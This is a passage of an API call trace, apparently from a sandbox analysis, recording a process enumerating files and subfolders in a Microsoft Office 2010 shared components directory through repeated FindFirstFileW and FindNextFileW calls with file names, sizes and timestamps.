cAlternateFileName="")) returned 0 [0072.821] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.821] GetProcessHeap () returned 0x550000 [0072.821] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26c70c0 | out: hHeap=0x550000) returned 1 [0072.821] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0072.821] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0072.821] FindClose (in: hFindFile=0x26841b0 | out: hFindFile=0x26841b0) returned 1 [0072.822] GetProcessHeap () returned 0x550000 [0072.822] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0073.153] FindNextFileW (in: hFindFile=0x2684130, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0073.153] GetProcessHeap () returned 0x550000 [0073.153] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26c70c0 [0073.304] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26841b0 [0073.305] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.305] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0073.305] GetProcessHeap () returned 0x550000 [0073.305] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0073.305] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0073.365] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.365] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0x305a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1 [0073.365] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0xcdb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBCI.DLL", cAlternateFileName="")) returned 1 [0073.366] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x51d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERECR.DLL", cAlternateFileName="")) returned 1 [0073.366] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xd2990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSTR.DLL", cAlternateFileName="")) returned 1 [0073.366] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f139500, ftCreationTime.dwHighDateTime=0x1c69359, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7f139500, ftLastWriteTime.dwHighDateTime=0x1c69359, nFileSizeHigh=0x0, nFileSizeLow=0x19a3ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO210.CHM", cAlternateFileName="")) returned 1 [0073.367] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b06d00, ftCreationTime.dwHighDateTime=0x1ca9127, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe4b06d00, ftLastWriteTime.dwHighDateTime=0x1ca9127, nFileSizeHigh=0x0, nFileSizeLow=0x25b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALRTINTL.DLL", cAlternateFileName="")) returned 1 [0073.367] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x269380, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1 [0073.367] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b30dd00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b30dd00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xd980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.IDX_DLL", cAlternateFileName="MSOINT~1.IDX")) returned 1 [0073.367] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c620a00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee8f1b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c620a00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="MSOINT~2.IDX")) returned 1 [0073.368] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAPR3.DLL", cAlternateFileName="")) returned 1 [0073.368] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356f9800, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x356f9800, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OARPMANR.DLL", cAlternateFileName="")) returned 1 [0073.369] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d183e00, ftCreationTime.dwHighDateTime=0x1ca520c, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d183e00, ftLastWriteTime.dwHighDateTime=0x1ca520c, nFileSizeHigh=0x0, nFileSizeLow=0x795, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.HTM", cAlternateFileName="")) returned 1 [0073.369] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 1 [0073.369] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 0 [0073.369] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0073.372] GetProcessHeap () returned 0x550000 [0073.372] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0073.372] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703dbc00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xd80a4ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x703dbc00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x310788, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0073.372] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd80f11a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0073.373] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xa990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEERR.DLL", cAlternateFileName="")) returned 1 [0074.278] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xf73a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEES.DLL", cAlternateFileName="")) returned 1 [0074.278] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCH.DLL", cAlternateFileName="")) returned 1 [0074.278] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xdbb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCL.DLL", cAlternateFileName="")) returned 1 [0074.279] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x53bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBC.DLL", cAlternateFileName="")) returned 1 [0074.279] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODDBS.DLL", cAlternateFileName="")) returned 1 [0074.280] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODEXL.DLL", cAlternateFileName="")) returned 1 [0074.280] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODTXT.DLL", cAlternateFileName="")) returned 1 [0074.281] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8189720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x833a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEOLEDB.DLL", cAlternateFileName="")) returned 1 [0074.281] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96faef00, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd8247e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96faef00, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x6e398, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACER3X.DLL", cAlternateFileName="")) returned 1 [0074.282] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0xd9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERCLR.DLL", cAlternateFileName="")) returned 1 [0074.282] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xa8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEREP.DLL", cAlternateFileName="")) returned 1 [0074.283] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82940c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x48990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACETXT.DLL", cAlternateFileName="")) returned 1 [0074.283] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1092c00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd82ba220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1092c00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x2e8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWDAT.DLL", cAlternateFileName="")) returned 1 [0074.283] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0c9f00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xcf0c7d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8e0c9f00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x4dba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSS.DLL", cAlternateFileName="")) returned 1 [0074.284] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82e0380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x7a998, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEXBE.DLL", cAlternateFileName="")) returned 1 [0074.284] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c38700, ftCreationTime.dwHighDateTime=0x1cbc9fc, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x67c38700, ftLastWriteTime.dwHighDateTime=0x1cbc9fc, nFileSizeHigh=0x0, nFileSizeLow=0x5e158, dwReserved0=0x0, dwReserved1=0x0, cFileName="ATLCONV.DLL", cAlternateFileName="")) returned 1 [0074.285] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10f7500, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xda5b0540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb10f7500, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x4d67b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Csi.dll", cAlternateFileName="")) returned 1 [0074.285] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef87d800, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xda5d66a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xef87d800, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x1b3980, dwReserved0=0x0, dwReserved1=0x0, cFileName="CsiSoap.dll", cAlternateFileName="")) returned 1 [0074.286] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cultures", cAlternateFileName="")) returned 1 [0074.286] GetProcessHeap () returned 0x550000 [0074.286] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26e70d0 [0074.286] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, 